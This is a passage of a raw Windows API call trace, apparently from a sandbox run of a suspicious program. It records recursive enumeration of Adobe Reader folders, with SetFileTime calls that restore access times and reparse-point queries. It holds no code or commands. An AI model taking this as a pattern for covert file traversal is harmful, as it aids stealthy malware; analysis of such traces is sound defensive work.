RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.411] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.411] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.411] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x197f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201c38 [0081.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12647f0 [0081.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.412] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201c58 [0081.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12648f8 [0081.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.414] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.414] GetLastError () returned 0x12 [0081.414] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.414] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.414] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.414] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x197f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.414] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.414] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48d20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.414] GetLastError () returned 0x12 [0081.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.414] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.415] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 0 [0081.415] GetLastError () returned 0x12 [0081.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.415] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.415] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Javascripts", cAlternateFileName="")) returned 1 [0081.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.416] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0081.416] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0081.416] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273ce8 [0081.416] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273ce8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1273ce8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0081.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273ce8) returned 1 [0081.416] NtClose (Handle=0x174) returned 0x0 [0081.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.417] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0081.417] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.417] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="")) returned 1 [0081.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201c78 [0081.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.419] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="")) returned 0 [0081.419] GetLastError () returned 0x12 [0081.419] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0081.419] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.419] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.419] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="")) returned 1 [0081.419] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="")) returned 0 [0081.419] GetLastError () returned 0x12 [0081.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.420] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.420] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.420] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffc0b80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6790, dwReserved0=0x0, dwReserved1=0x0, cFileName="JP2KLib.dll", cAlternateFileName="")) returned 1 [0081.420] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Legal", cAlternateFileName="")) returned 1 [0081.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.421] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.422] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0081.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273ce8 [0081.422] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273ce8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1273ce8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0081.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273ce8) returned 1 [0081.422] NtClose (Handle=0x168) returned 0x0 [0081.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0081.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.423] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0081.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0081.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0081.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHT", cAlternateFileName="")) returned 1 [0081.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0081.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0081.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0081.424] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUQ", cAlternateFileName="")) returned 1 [0081.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 